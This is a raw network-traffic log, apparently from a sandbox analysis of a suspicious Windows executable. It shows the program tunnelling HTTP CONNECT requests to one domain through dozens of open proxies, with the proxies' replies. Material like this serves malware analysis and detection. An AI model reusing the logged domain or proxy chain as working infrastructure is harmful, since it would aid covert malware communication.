Feb 23, 2024 09:45:22.326905012 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 a6 8e 0f f3 a3 d6 de 76 87 b5 6f 0e dd a8 1c ec 75 10 c9 3d 48 36 a0 92 a6 3d 72 21 1e 26 a2 10 32 80 88 33 ae c6 c1 bb 9d 2c 2d c3 ca ae 23 30 aa 50 84 65 f5 c9 b4 6b c6 8b 0d c5 67 a9 0d ed e6 f6 23 b9 bd Data Ascii: vou=H6=r!&23,-#0Pekg#WR:SJh(x9]T>=?)Ge3XD(n
Feb 23, 2024 09:45:23.071216106 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 9d cb d9 4b a6 b9 62 da c3 c6 56 a0 8d f9 05 86 4f 4e ef 4e 77 b3 03 6a 9e 65 b9 ae 0e c8 1a 3b 79 f0 4f 55 f2 13 af 9d 87 a8 58 60 0d 7b b0 46 54 ab 91 a9 0b 51 9b bf ab 33 0c 55 9a 47 40 b8 08 13 e8 98 47 Data Ascii: qKbVONNwje;yOUX`{FTQ3UG@G&Ob=cyWt\^3t3NT0%#?OG@jD}Ztg6UJB6wI1/2.1nB3mLDz2g6/*5]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.4	51253	141.94.174.6	1772	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.463237047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.4	50994	61.133.66.69	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.465658903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.827826977 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
428	192.168.2.4	51334	34.23.45.223	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.474322081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	51266	141.94.174.6	35557	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.481400967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	51216	45.239.175.19	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.481775999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	50633	27.75.152.191	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.485733986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	51098	8.213.137.155	8037	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.489928961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	51321	188.166.17.18	8881	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.490622997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.658667088 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	51031	203.95.198.141	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.491559982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	51314	198.57.195.42	38242	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.493078947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.974960089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.680928946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.865859985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.975162029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178388119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.365923882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475399971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.681381941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.4	51156	103.146.137.9	1081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.499123096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.146842957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.4	51274	20.206.106.192	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.513540030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.735124111 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.4	51333	5.9.98.142	2335	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.517904997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.4	51071	182.72.203.243	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.533368111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.891199112 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:20 GMT Server: Apache/2.4.41 (Ubuntu) Allow: POST,OPTIONS,HEAD,GET Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.4	50940	36.134.91.82	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.540028095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.108660936 CET	324	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	51361	154.208.10.126	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.543003082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.707026958 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	51400	104.16.109.213	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.543895006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.631083965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	51405	104.25.234.81	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.545469999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.632981062 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	51144	103.166.141.74	20074	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.550430059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.924036980 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	50573	89.161.90.203	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.550430059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	51343	149.62.193.91	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.552649975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	51413	172.67.14.237	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.554157972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.641546011 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	51414	104.25.184.189	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.554168940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.641530991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	51423	31.43.179.214	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.558022022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.645788908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	51164	120.77.148.138	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.574477911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.334410906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.657730103 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.3 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.4	51436	23.19.244.109	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.580229998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	51194	27.77.237.93	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.588709116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	51439	172.67.36.21	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.589853048 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
